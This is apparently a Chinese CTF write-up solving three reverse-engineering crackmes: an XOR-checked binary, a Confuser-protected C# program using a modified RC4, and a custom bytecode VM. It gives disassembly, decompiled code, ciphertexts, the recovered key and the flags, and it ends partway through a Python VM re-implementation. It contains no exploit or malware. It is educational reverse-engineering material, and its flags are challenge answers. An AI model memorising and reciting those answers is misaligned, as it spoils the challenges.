.text:0000000000001164 lea rdx, unk_4040
.text:0000000000001160 lea rcx, [rdx+18h]
.text:000000000000115D test rax, rax
.text:000000000000115D ; .text:00000000000012D2↓j
.text:000000000000115D loc_115D: ; CODE XREF: .text:000000000000112C↑j
.text:000000000000115D
.text:000000000000115B jnz short loc_1137
.text:0000000000001154 lea rdi, aWrong ; "Wrong!"
.text:0000000000001152 xor eax, eax
.text:0000000000001152 loc_1152: ; CODE XREF: .text:000000000000111C↑j
.text:0000000000001152
.text:000000000000114D call _printf
.text:0000000000001146 add rsp, 100h
.text:0000000000001144 xor eax, eax
.text:0000000000001143 pop rbx
.text:0000000000001143 loc_1143: ; CODE XREF: .text:loc_112E↑j
.text:0000000000001143
.text:0000000000001143 ; ---------------------------------------------------------------------------
.text:0000000000001142 retn
.text:000000000000113E add rdx, 1
.text:000000000000113A add rax, 1
.text:0000000000001137 cmp rdx, rcx ;循环比较加密的flag与密文(unk_4040)
.text:0000000000001137 loc_1137: ; CODE XREF: .text:000000000000115B↓j
.text:0000000000001137
.text:0000000000001135 jz short loc_112E
.text:0000000000001132 movzx ebx, byte ptr [rdx]
.text:0000000000001130 cmp [rax], bl
.text:000000000000112E jz short loc_1143
.text:000000000000112E loc_112E: ; CODE XREF: .text:0000000000001135↓j
.text:000000000000112E
.text:000000000000112E ; ---------------------------------------------------------------------------
.text:000000000000112C jmp short loc_115D
.text:0000000000001125 lea rdi, aRight ; "Right!"
.text:0000000000001123 xor eax, eax
.text:000000000000111E call _printf
.text:000000000000111E loc_111E: ; CODE XREF: .text:loc_12B0↓j
.text:000000000000111E
.text:000000000000111E ; ---------------------------------------------------------------------------
.text:000000000000111C jmp short loc_1152
.text:0000000000001115 movzx ecx, cs:byte_4080
.text:0000000000001115 ; ---------------------------------------------------------------------------
.text:0000000000001110 jmp loc_1286

查看关键函数loc_188E,发现函数虽然很长但是有用的操作并不多,带入的字符串分别与三个固定字节进行异或得到三个加密结果,并与密文进行比较来判断是否正确,提取密文unk_4040:[0x13, 0x1C, 0x17, 0x52, 0x13, 0x52, 0x52, 0x45, 0x14, 0x3E, 0x3E, 0x11, 0x45, 0x50, 0x05, 0x3E, 0x16, 0x51, 0x1A, 0x0F, 0x00, 0x06, 0x07, 0x0D],直接用单字节异或爆破,得到异或值为0x61,flag为:flag{nw0d_$1_pu_3$r3v3r}.

cccc:

由于是C#程序所以并不是很好分析,动态调试后推断关键流程在所给的dll文件中,发现dll文件有confuser保护器,函数名称等全是乱码,并且还有控制流平坦化混淆,先用de4dot把乱码的名字去掉,然后用dnspy打开,找到一个关键类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
using System;
using System.Runtime.CompilerServices;

// Token: 0x02000021 RID: 33
[Attribute2(1)]
[Attribute1(0)]
internal class Class8
{
// Token: 0x06000097 RID: 151 RVA: 0x00008E28 File Offset: 0x00007028
private static void Main(string[] args)
{
Console.Write(<Module>.smethod_3<string>(1048771348));
for (;;)
{
IL_00B4:
int num = -1556255283;
for (;;)
{
switch ((num ^ -47866585) % 6)
{
case 0:
goto IL_00B4;
case 1:
Console.WriteLine(<Module>.smethod_5<string>(1883395676)); //结果输出
num = -1771531466;
continue;
case 2:
return;
case 3:
Console.WriteLine(<Module>.smethod_2<string>(-2009154180)); //结果输出
num = -1025795689;
continue;
case 4:
{
string text = Console.ReadLine(); //这里读取了输入的字符串
byte[] array = GClass0.smethod_1<byte, string>(<Module>.smethod_6<string>(53665066), GClass0.smethod_0<byte, int, string>(text)); //加密
num = (Class8.smethod_0<int, bool, byte>(new byte[] //密文和比较
{
248, 177, 30, 232, 127, 153, 222, 78, 132, 180,
21, 33, 182, 142, 209, 42, 139, 154, 77, 231,
143, 218, 35, 192, 169, 98, 99, 231, 2, 65,
144, 136, 119, 117, 186, 50, 198, 176, 132, 36,
166, 168, 69, 246, 205, 156, 138, 50
}, array) ? (-1228472614) : (-867456784));
continue;
}
}
goto Block_2;
}
}
Block_2:;
}

}

提取密文:[f8 b1 1e e8 7f 99 de 4e 84 b4 15 21 b6 8e d1 2a 8b 9a 4d e7 8f da 23 c0 a9 62 63 e7 02 41 90 88 77 75 ba 32 c6 b0 84 24 a6 a8 45 f6 cd 9c 8a 32],共计44字节,然后分析加密流程,可以注意到是用GClass0中的smethod0先将输入的字符串进行处理,同时用Module中的smethod6对一个整数进行处理,然后将两个的处理结果传入Gclass0smethod1进行最后处理,输出字节数组,推测Module中的smethod6是用于生成密钥的,dnspy动态调试取得密钥:doyouknowcsharp,再看Gclass0中的method,注意到以下代码段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
// Token: 0x06000078 RID: 120 RVA: 0x0000883C File Offset: 0x00006A3C
public static T0[] smethod_1<T0, T1>(T1 gparam_0, T0[] gparam_1)
{
return GClass0.smethod_2<T0, int, T1>(gparam_0, gparam_1);
}

// Token: 0x06000079 RID: 121 RVA: 0x00008850 File Offset: 0x00006A50
private static T0[] smethod_2<T0, T1, T2>(T2 gparam_0, T0[] gparam_1)
{
T0[] array = GClass0.smethod_3<T0, T1>(GClass0.smethod_0<T0, T1, T2>(gparam_0));
T1 t = 0;
T1 t2 = 0;
T0[] array2;
for (;;)
{
IL_0132:
uint num = 965942686U;
for (;;)
{
uint num2;
switch ((num2 = num ^ 1671582653U) % 10U)
{
case 1U:
{
T1 t3 = 0;
num = (num2 * 2964175099U) ^ 3088226582U;
continue;
}
case 2U:
num = (num2 * 2557159329U) ^ 3766832993U;
continue;
case 3U:
{
T0 t4;
array[t2] = t4;
num = (num2 * 1977227374U) ^ 428192606U;
continue;
}
case 4U:
{
T1 t3;
num = ((t3 >= gparam_1.Length) ? 135939119U : 530945064U);
continue;
}
case 5U:
{
T1 t3;
array2[t3] = (byte)(gparam_1[t3] ^ array[(array[t] + array[t2]) % 256] ^ 100);
num = (num2 * 1446099815U) ^ 1371508486U;
continue;
}
case 6U:
{
T1 t3;
t3++;
num = (num2 * 1047750269U) ^ 2517980139U;
continue;
}
case 7U:
array2 = new T0[gparam_1.Length];
num = (num2 * 835581391U) ^ 1087374551U;
continue;
case 8U:
goto IL_0132;
case 9U:
{
t = (t + 1) % 256;
t2 = (array[t] + t2) % 256;
T0 t4 = array[t];
array[t] = array[t2];
num = 593623138U;
continue;
}
}
return array2;
}
}
return array2;

发现了很明显的RC4特征,推测是多异或了一个100(十进制)的RC4,在cyberchef解密,得到flag:flag{y0u_r34lly_kn0w_m@ny_pr0gr@mm1ng_l@ngu@g3$}.

babyVM:

查看main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int128 vars0[2]; // [rsp+0h] [rbp+0h] BYREF
char vars20; // [rsp+20h] [rbp+20h]
unsigned __int64 vars28; // [rsp+28h] [rbp+28h]

vars28 = __readfsqword(0x28u);
puts("Inkey built a magic VM, can you solve it ? \nPlease input your flag ");
memset(vars0, 0, sizeof(vars0));
vars20 = 0;
__isoc99_scanf("%32s", vars0);
VM((char *)vars0);
if ( !memcmp(vars0, &cipher, 0x20uLL) )
puts("Right! ");
else
puts("Wrong! ");
return 0;
}

发现程序主逻辑很简洁,就是单纯的输入32字节的flag然后用VM加密并和密文比较,提取密文:[0xE5, 0xDF, 0xF0, 0xA1, 0xF4, 0xBD, 0x6A, 0xDB, 0x1B, 0xE9, 0xDD, 0x20, 0x0D, 0x9D, 0x21, 0x59, 0xD0, 0xB3, 0x59, 0x29, 0xB9, 0xEC, 0x2F, 0xC0, 0x22, 0x7E, 0xAD, 0xE1, 0xB0, 0x15, 0xB6, 0x29],接下来查看VM的逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
void *__fastcall VM(char *dest)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

dword_59D8 = 0;
qword_59D0 = 0x1000001BF52LL;
v1 = strlen(dest);
memcpy(&unk_4BC0, dest, v1); //传入的字符串
v2 = (char *)stack;
LODWORD(v3) = 0;
v4 = opcode[0]; //开始读取字节码
si128 = _mm_load_si128((const __m128i *)&xmmword_2110);
v6 = _mm_load_si128((const __m128i *)&xmmword_2100);
v7 = (char *)&unk_4BC0 - 512;
while ( 1 )
{
switch ( v4 ) //根据不同字节码选择不同逻辑
{
case 0: //push指令
v26 = opcode[(unsigned int)(v3 + 1)]; //第一个参数,用于判断来源
LODWORD(v27) = HIDWORD(qword_59D0) - 4;
HIDWORD(qword_59D0) -= 4;
if ( v26 ) //如果第一个参数不为0
{
if ( v26 != 1 ) //如果第一个参数也不为1就放弃执行字节码
continue;
v27 = (unsigned int)v27;
v28 = opcode[(unsigned int)(v3 + 2)]; //如果第一个参数为1则v28为第二个参数的值(push stack[v27], arg2)
}
else //如果第一个参数为0则v28为寄存器中索引为第二个参数的对应的值
{
v27 = (unsigned int)v27;
v28 = regs[opcode[(unsigned int)(v3 + 2)]]; //push stack[v27], reg[arg2]
}
*(_DWORD *)&v2[v27] = v28; //将 v28 写入内存地址 v2 + v27
dword_59D8 += 3; //后移3个字节
LODWORD(v3) = dword_59D8;
v4 = opcode[dword_59D8]; //转到下一个字节码
continue;
case 1: //结束VM,将加密结果复制回传入的字符串
v24 = strlen(dest);
return memcpy(dest, &unk_4BC0, v24);
case 2: //mov指令
switch ( opcode[(unsigned int)(v3 + 1)] ) //用第一个参数来分类
{
case 0: //mov memory[reg[arg2]+arg3], reg[arg4]
v40 = opcode[(unsigned int)(v3 + 3)]; //第三个参数:偏移量
v41 = regs[opcode[(unsigned int)(v3 + 4)]]; //第四个参数:寄存器索引对应的值
v42 = &v7[regs[opcode[(unsigned int)(v3 + 2)]]]; //第二个参数:寄存器索引对应v7的偏移地址
goto LABEL_76;
case 1: //mov reg[arg2], reg[arg3]
regs[opcode[(unsigned int)(v3 + 2)]] = regs[opcode[(unsigned int)(v3 + 3)]];
goto LABEL_17;
case 2: //mov memory[reg[arg2]+arg3], arg4
v37 = opcode[(unsigned int)(v3 + 3)];
v38 = opcode[(unsigned int)(v3 + 4)];
v39 = &v7[regs[opcode[(unsigned int)(v3 + 2)]]];
goto LABEL_70;
case 3: //mov reg[arg2], memory[reg[arg3] + arg4]
regs[opcode[(unsigned int)(v3 + 2)]] = *(_DWORD *)&v7[regs[opcode[(unsigned int)(v3 + 3)]] + opcode[(unsigned int)(v3 + 4)]];
goto LABEL_36;
case 4: //mov reg[arg2], arg3
regs[opcode[(unsigned int)(v3 + 2)]] = opcode[(unsigned int)(v3 + 3)];
goto LABEL_17;
case 5: //mov (LOBYTE)memory[reg[arg2] + arg3], reg[arg4] & 0xFF
v37 = opcode[(unsigned int)(v3 + 3)];
LOBYTE(v38) = regs[opcode[(unsigned int)(v3 + 4)]];
v39 = &v7[regs[opcode[(unsigned int)(v3 + 2)]]];
LABEL_70:
v39[v37] = v38;
dword_59D8 = v3 + 5; //前进5个字节
v3 = (unsigned int)(v3 + 5);
v4 = opcode[v3];
break;
case 6: //mov (LOBYTE)reg[arg2], memory[(reg[arg3] + arg4)] & 0xFF
LOBYTE(regs[opcode[(unsigned int)(v3 + 2)]]) = v7[regs[opcode[(unsigned int)(v3 + 3)]] + opcode[(unsigned int)(v3 + 4)]];
goto LABEL_36;
case 7: //mov memory[reg[arg2] + arg3], arg4
v40 = opcode[(unsigned int)(v3 + 3)];
v41 = opcode[(unsigned int)(v3 + 4)];
v42 = &v7[regs[opcode[(unsigned int)(v3 + 2)]]];
LABEL_76:
*(_DWORD *)&v42[v40] = v41; //将第四个参数的值写入v7的偏移地址加上第三个参数的偏移量
dword_59D8 = v3 + 5;
v3 = (unsigned int)(v3 + 5);
v4 = opcode[v3];
break;
case 8: //mov reg[arg2], memory[reg[arg3] + reg[arg4]]
regs[opcode[(unsigned int)(v3 + 2)]] = *(_DWORD *)&v7[regs[opcode[(unsigned int)(v3 + 3)]] + regs[opcode[(unsigned int)(v3 + 4)]]];
goto LABEL_36;
case 9: //mov reg[arg2], memory[reg[arg3] + reg[arg4] * arg5]
regs[opcode[(unsigned int)(v3 + 2)]] = *(_DWORD *)&v7[opcode[(unsigned int)(v3 + 5)] * regs[opcode[(unsigned int)(v3 + 4)]] + regs[opcode[(unsigned int)(v3 + 3)]]];
dword_59D8 += 6;
LODWORD(v3) = dword_59D8;
v4 = opcode[dword_59D8];
break;
case 10: //mov reg[arg2], memory[reg[arg3] + reg[arg4] * arg5 + arg6]
regs[opcode[(unsigned int)(v3 + 2)]] = *(_DWORD *)&v7[opcode[(unsigned int)(v3 + 5)] * regs[opcode[(unsigned int)(v3 + 4)]] + regs[opcode[(unsigned int)(v3 + 3)]] + opcode[(unsigned int)(v3 + 6)]];
dword_59D8 += 7;
LODWORD(v3) = dword_59D8;
v4 = opcode[dword_59D8];
break;
case 11: //mov memory[reg[arg2] + reg[arg3] * arg4], reg[arg5]
*(_DWORD *)&v7[opcode[(unsigned int)(v3 + 4)] * regs[opcode[(unsigned int)(v3 + 3)]] + regs[opcode[(unsigned int)(v3 + 2)]]] = regs[opcode[(unsigned int)(v3 + 5)]];
dword_59D8 = v3 + 6;
v3 = (unsigned int)(v3 + 6);
v4 = opcode[v3];
break;
case 12: //mov memory[reg[arg2] + reg[arg3] * arg4 + arg5], reg[arg6]
*(_DWORD *)&v7[regs[opcode[(unsigned int)(v3 + 2)]] + opcode[(unsigned int)(v3 + 5)] + opcode[(unsigned int)(v3 + 4)] * regs[opcode[(unsigned int)(v3 + 3)]]] = regs[opcode[(unsigned int)(v3 + 6)]];
dword_59D8 = v3 + 7;
v3 = (unsigned int)(v3 + 7);
v4 = opcode[v3];
break;
default:
continue;
}
continue;
case 3: //sub指令
v22 = opcode[(unsigned int)(v3 + 1)]; //根据第一个参数选择
if ( v22 == 3 ) //为3:sub reg[arg2], memory[reg[arg3] + arg4]
{
v33 = opcode[(unsigned int)(v3 + 2)];
regs[v33] -= *(_DWORD *)&v7[regs[opcode[(unsigned int)(v3 + 3)]] + opcode[(unsigned int)(v3 + 4)]];
goto LABEL_36;
}
if ( v22 != 4 ) //为4:sub reg[arg2], arg3
continue;
v23 = opcode[(unsigned int)(v3 + 2)];
regs[v23] -= opcode[(unsigned int)(v3 + 3)];
goto LABEL_17;
case 4: //add指令
v20 = opcode[(unsigned int)(v3 + 1)];
switch ( v20 )
{
case 3: //add reg[arg2], memory[reg[arg3] + arg4]
v35 = opcode[(unsigned int)(v3 + 2)];
regs[v35] += *(_DWORD *)&v7[regs[opcode[(unsigned int)(v3 + 3)]] + opcode[(unsigned int)(v3 + 4)]];
goto LABEL_36;
case 4: //add reg[arg2], arg3
v34 = opcode[(unsigned int)(v3 + 2)];
regs[v34] += opcode[(unsigned int)(v3 + 3)];
goto LABEL_17;
case 2: //add memory[reg[arg2] + arg3], arg4
v21 = opcode[(unsigned int)(v3 + 3)] + (unsigned __int64)regs[opcode[(unsigned int)(v3 + 2)]];
*(_DWORD *)&v7[v21] += opcode[(unsigned int)(v3 + 4)];
dword_59D8 = v3 + 5;
v3 = (unsigned int)(v3 + 5);
v4 = opcode[v3];
break;
}
continue;
case 5: //xor指令
v18 = opcode[(unsigned int)(v3 + 1)];
if ( v18 == 3 ) //xor arg2, memory[reg[arg3] + arg4]
{
opcode[(unsigned int)(v3 + 2)] ^= *(_DWORD *)&v7[regs[opcode[(unsigned int)(v3 + 3)]] + opcode[(unsigned int)(v3 + 4)]];
dword_59D8 = v3 + 5;
v3 = (unsigned int)(v3 + 5);
v4 = opcode[v3];
continue;
}
if ( v18 > 3 )
{
if ( v18 != 4 ) //xor reg[arg2], arg3
continue;
v29 = opcode[(unsigned int)(v3 + 2)];
regs[v29] ^= opcode[(unsigned int)(v3 + 3)];
goto LABEL_17;
}
if ( v18 == 1 ) //xor reg[arg2], reg[arg3]
{
v36 = opcode[(unsigned int)(v3 + 2)];
regs[v36] ^= regs[opcode[(unsigned int)(v3 + 3)]];
goto LABEL_17;
}
if ( v18 == 2 ) //xor memory[reg[arg2] + arg3], arg4
{
v19 = opcode[(unsigned int)(v3 + 3)] + (unsigned __int64)regs[opcode[(unsigned int)(v3 + 2)]];
*(_DWORD *)&v7[v19] ^= opcode[(unsigned int)(v3 + 4)];
dword_59D8 = v3 + 5;
v3 = (unsigned int)(v3 + 5);
v4 = opcode[v3];
}
continue;
case 6: //add指令
if ( opcode[(unsigned int)(v3 + 1)] != 3 ) //add reg[arg2], memory[reg[arg3]] + arg4
continue;
regs[opcode[(unsigned int)(v3 + 2)]] = regs[opcode[(unsigned int)(v3 + 3)]] + opcode[(unsigned int)(v3 + 4)];
goto LABEL_36;
case 7: //shr指令
v16 = opcode[(unsigned int)(v3 + 1)];
if ( v16 == 3 ) //shr reg[arg2], memory[reg[arg3]+arg4]
{
v30 = opcode[(unsigned int)(v3 + 2)];
regs[v30] >>= *(_DWORD *)&v7[regs[opcode[(unsigned int)(v3 + 3)]] + opcode[(unsigned int)(v3 + 4)]];
goto LABEL_36;
}
if ( v16 != 4 ) //shr reg[arg2], arg3
continue;
v17 = opcode[(unsigned int)(v3 + 2)];
regs[v17] >>= opcode[(unsigned int)(v3 + 3)];
goto LABEL_17;
case 8: //shl指令,具体同上
v14 = opcode[(unsigned int)(v3 + 1)];
if ( v14 == 3 )
{
v31 = opcode[(unsigned int)(v3 + 2)];
regs[v31] <<= *(_DWORD *)&v7[regs[opcode[(unsigned int)(v3 + 3)]] + opcode[(unsigned int)(v3 + 4)]];
goto LABEL_36;
}
if ( v14 != 4 )
continue;
v15 = opcode[(unsigned int)(v3 + 2)];
regs[v15] <<= opcode[(unsigned int)(v3 + 3)];
goto LABEL_17;
case 9: //cmp指令
if ( opcode[(unsigned int)(v3 + 1)] != 2 ) //第一个参数一定为2
continue;
v10 = opcode[(unsigned int)(v3 + 2)];
v11 = opcode[(unsigned int)(v3 + 3)];
v12 = opcode[(unsigned int)(v3 + 4)];
v13 = (unsigned __int8)v7[v11 + regs[v10]]; //memory[reg[arg2]+arg3]
if ( v13 < v12 ) //memory<arg4
{
*(__m128i *)xmm = v6; //xmm = 0 1 1 0
v13 = (unsigned __int8)memory[v11 + regs[v10]];
}
if ( v12 == v13 ) //memory==arg4
{
*(__m128i *)xmm = si128; //xmm = 1 0 0 0
v13 = (unsigned __int8)memory[v11 + regs[v10]];
}
if ( v12 < v13 ) //memory>arg4
*(_OWORD *)xmm = 0LL; //xmm = 0 0 0 0
goto LABEL_37;
case 10: //jz指令
if ( !xmm[0] ) //如果xmm[0]为0则跳转至label4(第一个参数对应的字节码索引)
goto LABEL_4;
if ( xmm[0] == 1 )
goto LABEL_6; //如果为1则跳转至label6(继续下一条指令)
continue;
case 12: //jmp指令
goto LABEL_4;
case 13: //and指令
v8 = opcode[(unsigned int)(v3 + 1)];
if ( v8 == 3 ) //and reg[arg2], memory[reg[arg3] + arg[4]]
{
v32 = opcode[(unsigned int)(v3 + 2)];
regs[v32] &= *(_DWORD *)&v7[regs[opcode[(unsigned int)(v3 + 3)]] + opcode[(unsigned int)(v3 + 4)]];
LABEL_36:
LODWORD(v3) = dword_59D8;
LABEL_37:
dword_59D8 = v3 + 5; //前进五个字节
v3 = (unsigned int)(v3 + 5);
v4 = opcode[v3];
}
else if ( v8 == 4 ) //and reg[arg2], arg3
{
v9 = opcode[(unsigned int)(v3 + 2)];
regs[v9] &= opcode[(unsigned int)(v3 + 3)];
LABEL_17:
dword_59D8 += 4; //向前四个字节
LODWORD(v3) = dword_59D8;
v4 = opcode[dword_59D8];
}
break;
case 15: //jnz指令
if ( xmm[0] == 1 )
goto LABEL_4;
if ( !xmm[0] )
{
LABEL_6: //索引+2,继续下一条指令
dword_59D8 = v3 + 2;
v3 = (unsigned int)(v3 + 2);
v4 = opcode[v3];
}
continue;
case 16: //nop指令
dword_59D8 = v3 + 1;
v3 = (unsigned int)(v3 + 1);
v4 = opcode[v3];
continue;
case 17: //长度错误
puts("Length Wrong! ");
exit(0);
case 18: //mul指令
if ( opcode[(unsigned int)(v3 + 1)] != 4 ) //第一个参数一定为4,mul reg[arg2], reg[arg3] * arg4
continue;
regs[opcode[(unsigned int)(v3 + 2)]] = opcode[(unsigned int)(v3 + 4)] * regs[opcode[(unsigned int)(v3 + 3)]];
goto LABEL_36;
case 19: //je指令
if ( xmm[1] == xmm[3] )
goto LABEL_4;
goto LABEL_6;
case 20: //jz指令
if ( xmm[2] )
goto LABEL_6;
LABEL_4: //跳转地址到第一个参数
dword_59D8 = opcode[(unsigned int)(v3 + 1)];
LODWORD(v3) = dword_59D8;
v4 = opcode[dword_59D8];
continue;
default:
continue;
}
}
}

分析完成后用python脚本进行同构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
import time
opc = [0x00000000, 0x00000001, 0x00000200, 0x00000000, 0x00000000, 0x00000006, 0x00000000, 0x00000000, 0x00000004, 0x00000002, 0x00000001, 0x00000004, 0x00000005, 0x00000003, 0x00000004, 0x00000005,
0x00000050, 0x00000002, 0x00000003, 0x00000000, 0x00000004, 0x00000008, 0x00000002, 0x00000000, 0x00000004, 0xFFFFFFE4, 0x00000000, 0x00000002, 0x00000003, 0x00000002, 0x00000004, 0xFFFFFFE4,
0x00000004, 0x00000004, 0x00000002, 0x00000001, 0x00000002, 0x00000000, 0x00000004, 0xFFFFFFD8, 0x00000002, 0x00000002, 0x00000003, 0x00000003, 0x00000004, 0xFFFFFFE4, 0x00000002, 0x00000006,
0x00000000, 0x00000003, 0x00000000, 0x00000002, 0x00000005, 0x00000004, 0xFFFFFFFF, 0x00000000, 0x00000004, 0x00000002, 0x00000004, 0xFFFFFFE4, 0x00000001, 0x00000009, 0x00000002, 0x00000004,
0xFFFFFFFF, 0x00000000, 0x0000000A, 0x00000029, 0x00000002, 0x00000003, 0x00000002, 0x00000004, 0xFFFFFFE4, 0x00000003, 0x00000003, 0x00000002, 0x00000004, 0xFFFFFFD8, 0x00000002, 0x00000000,
0x00000004, 0xFFFFFFD4, 0x00000002, 0x00000009, 0x00000002, 0x00000004, 0xFFFFFFD4, 0x00000020, 0x0000000F, 0x0000005B, 0x00000011, 0x00000002, 0x00000003, 0x00000003, 0x00000004, 0x00000008,
0x00000002, 0x00000000, 0x00000004, 0xFFFFFFE0, 0x00000003, 0x00000002, 0x00000002, 0x00000004, 0xFFFFFFB0, 0x00000043, 0x00000002, 0x00000002, 0x00000004, 0xFFFFFFB1, 0x00000068, 0x00000002,
0x00000002, 0x00000004, 0xFFFFFFB2, 0x0000006F, 0x00000002, 0x00000002, 0x00000004, 0xFFFFFFB3, 0x00000076, 0x00000002, 0x00000002, 0x00000004, 0xFFFFFFB4, 0x00000079, 0x00000002, 0x00000002,
0x00000004, 0xFFFFFFB5, 0x0000005F, 0x00000002, 0x00000002, 0x00000004, 0xFFFFFFB6, 0x00000069, 0x00000002, 0x00000002, 0x00000004, 0xFFFFFFB7, 0x0000006E, 0x00000002, 0x00000002, 0x00000004,
0xFFFFFFB8, 0x0000006B, 0x00000002, 0x00000002, 0x00000004, 0xFFFFFFB9, 0x00000065, 0x00000002, 0x00000002, 0x00000004, 0xFFFFFFBA, 0x00000079, 0x00000002, 0x00000002, 0x00000004, 0xFFFFFFBB,
0x0000005F, 0x00000002, 0x00000002, 0x00000004, 0xFFFFFFBC, 0x00000077, 0x00000002, 0x00000002, 0x00000004, 0xFFFFFFBD, 0x00000033, 0x00000002, 0x00000002, 0x00000004, 0xFFFFFFBE, 0x00000036,
0x00000002, 0x00000002, 0x00000004, 0xFFFFFFBF, 0x0000005F, 0x00000006, 0x00000003, 0x00000000, 0x00000004, 0xFFFFFFB0, 0x00000002, 0x00000000, 0x00000004, 0xFFFFFFF4, 0x00000000, 0x00000002,
0x00000007, 0x00000004, 0xFFFFFFD0, 0x1919810A, 0x00000002, 0x00000004, 0x00000002, 0x00000004, 0x00000012, 0x00000004, 0x00000003, 0x00000002, 0x00000000, 0x00000002, 0x00000003, 0x00000000,
0x00000004, 0xFFFFFFF4, 0x00000002, 0x00000008, 0x00000002, 0x00000000, 0x00000003, 0x00000002, 0x00000000, 0x00000004, 0xFFFFFFCC, 0x00000002, 0x00000002, 0x00000004, 0x00000003, 0x00000004,
0x00000008, 0x00000004, 0x00000003, 0x00000000, 0x00000002, 0x00000003, 0x00000000, 0x00000004, 0xFFFFFFF4, 0x00000002, 0x00000008, 0x00000002, 0x00000000, 0x00000003, 0x00000002, 0x00000000,
0x00000004, 0xFFFFFFC8, 0x00000002, 0x00000002, 0x00000004, 0x00000003, 0x00000004, 0x00000008, 0x00000004, 0x00000003, 0x00000001, 0x00000002, 0x00000003, 0x00000000, 0x00000004, 0xFFFFFFF4,
0x00000002, 0x00000008, 0x00000002, 0x00000000, 0x00000003, 0x00000002, 0x00000000, 0x00000004, 0xFFFFFFC4, 0x00000002, 0x00000002, 0x00000004, 0x00000003, 0x00000004, 0x00000012, 0x00000004,
0x00000000, 0x00000003, 0x00000003, 0x00000002, 0x00000003, 0x00000002, 0x00000004, 0xFFFFFFF4, 0x00000002, 0x00000008, 0x00000003, 0x00000002, 0x00000000, 0x00000002, 0x00000000, 0x00000004,
0xFFFFFFC0, 0x00000003, 0x00000002, 0x00000007, 0x00000004, 0xFFFFFFF8, 0x00000000, 0x0000000C, 0x00000137, 0x00000002, 0x00000003, 0x00000000, 0x00000004, 0xFFFFFFF8, 0x00000004, 0x00000004,
0x00000000, 0x00000002, 0x00000002, 0x00000000, 0x00000004, 0xFFFFFFF8, 0x00000000, 0x00000009, 0x00000002, 0x00000004, 0xFFFFFFF8, 0x00000008, 0x00000013, 0x00000250, 0x00000002, 0x00000003,
0x00000002, 0x00000004, 0xFFFFFFF8, 0x00000002, 0x00000003, 0x00000003, 0x00000004, 0xFFFFFFE0, 0x00000002, 0x00000009, 0x00000000, 0x00000003, 0x00000002, 0x00000004, 0x00000002, 0x00000000,
0x00000004, 0xFFFFFFEC, 0x00000000, 0x00000002, 0x00000003, 0x00000002, 0x00000004, 0xFFFFFFF8, 0x00000002, 0x00000003, 0x00000003, 0x00000004, 0xFFFFFFE0, 0x00000002, 0x0000000A, 0x00000000,
0x00000003, 0x00000002, 0x00000004, 0x00000004, 0x00000002, 0x00000000, 0x00000004, 0xFFFFFFE8, 0x00000000, 0x00000002, 0x00000007, 0x00000004, 0xFFFFFFF0, 0x00000000, 0x00000002, 0x00000002,
0x00000004, 0xFFFFFFDC, 0x00000000, 0x0000000C, 0x00000183, 0x00000002, 0x00000003, 0x00000002, 0x00000004, 0xFFFFFFDC, 0x00000004, 0x00000004, 0x00000002, 0x00000001, 0x00000002, 0x00000000,
0x00000004, 0xFFFFFFDC, 0x00000002, 0x00000009, 0x00000002, 0x00000004, 0xFFFFFFDC, 0x00000030, 0x00000014, 0x00000223, 0x00000002, 0x00000003, 0x00000003, 0x00000004, 0xFFFFFFE8, 0x00000007,
0x00000004, 0x00000003, 0x00000006, 0x00000002, 0x00000003, 0x00000000, 0x00000004, 0xFFFFFFE8, 0x00000008, 0x00000004, 0x00000000, 0x00000005, 0x00000005, 0x00000001, 0x00000003, 0x00000000,
